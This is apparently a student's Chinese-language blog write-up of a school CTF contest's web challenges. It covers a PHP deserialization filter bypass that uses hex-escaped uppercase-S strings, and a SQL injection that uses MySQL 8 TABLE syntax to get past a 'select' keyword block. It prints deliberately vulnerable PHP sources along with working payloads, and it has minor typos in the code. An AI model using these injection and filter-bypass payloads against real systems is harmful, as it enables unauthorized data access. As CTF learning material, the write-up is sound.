紀實:校內線上訓練——WEB
近日,學校俱樂部舉辦了有關網安的比賽,不去不知道,真的是一句“我好菜”走天下……在此就是記錄一下那些我做過的和沒做上的題,其實看了一下別人的wp總是就差臨門一腳,心情很糟 v_v
接下來會按照順序呢會連續記錄PWN、REVERSE、MISC、WEB、CRYPTO的……
WEB部分只說幾道題,原因是有幾道感覺過於簡單,所以就略過了。
Trick trick
Hint:一個反序列化的小trick
index.php原始碼:
<?php error_reporting(0); include "class.php";highlight_file(__FILE__); if (isset($_GET['last'])) { $last=$GET['last']; if (!stristr($last,"flag")) { unserialize($last); echo "<br>"."you find it"; // class is getF:public key // must key = "flag" } }
這道題其實讀完程式碼後,就會發現這道題的矛盾點就在於:我們如果想獲得flag,就必須建立一個getF的類,猜想會在創造類中會有列印資訊的功能。然而建立getF這樣的類需要一個key引數,如果想列印flag有關的訊息,key就必須等於“flag”,恰恰就是這裡!在執行反序列化之前需要過得一關就是:
!stristr($last,"flag")
該語句的意思就是查詢$last中是否存在flag,所以我們不僅要key=“flag”的同時還要繞過sristr函式。
這道題主要考察的就是序列化字串的表示格式
a -->array --> a:1:{"1","abc"} b -->boolean --> b:0; d -->double --> d:1.2323; i -->integer --> i:3; s/S -->string,S可以有16進位制字元 --> s:3:"abc"; 或者 S:3:"\61bc" O -->class --> O:1:"A":3:{s:4:"\00A\00a";N;s:4:"\00*\00b";N;s:1:"c";s:5:"hello";} N -->null --> N; r -->物件引用 --> r:1 (數字為所引用的物件在序列化字串中第一次出現的位置) R -->指標引用 --> R:1 (會修改指標指向的內容)
這裡借鑑的是大佬的手記--->墨雨琪師傅的部落格
所以說這裡為了不修改最終答案,所以可以選擇把本應該的:
0:4:"getF":1:{s:3:"key";s:4:"flag"}
這兩面的s型別轉換成S型別,同時把其中flag任意幾個字元變成16進位制即可:
0:4:"getF":1:{s:3:"key";S:4:"\66lag"}
這裡要吐槽一句,其實這道題,題目就是個hint不是麼,hhhhhh……
EasySQL
Hint:與時俱進(mysql都8.0了)
php原始碼:
<?php //flag in table flag highlight_file(__FILE__); $conn = mysqli_connect('mysql', 'test', 'test', 'test'); if (!$conn) { die('Could not connect: ' . mysqli_error($conn)); } if (isset($_GET['id'])) { $id = $_GET['id']; if (stristr($id, 'select') === false) { $sql = "select * from news where id=$id"; $result = mysqli_query($conn, $sql); if ($result) { $row = mysqli_fetch_array($result); echo "<h1>" . $row['title'] . "</h1><br>"; echo "<h3>" . $row['content'] . "</h3>"; } } }
這道題是遮蔽了“select”關鍵詞,結合hint,我們就可以選用table語法來顯示:
更多詳細介紹請戳--->https://dev.mysql.com/doc/refman/8.0/en/table.html
知道了這一點後就比較簡單了:直接payload:
id=-1 union table flag limit 1
這樣就能直接拿到flag了!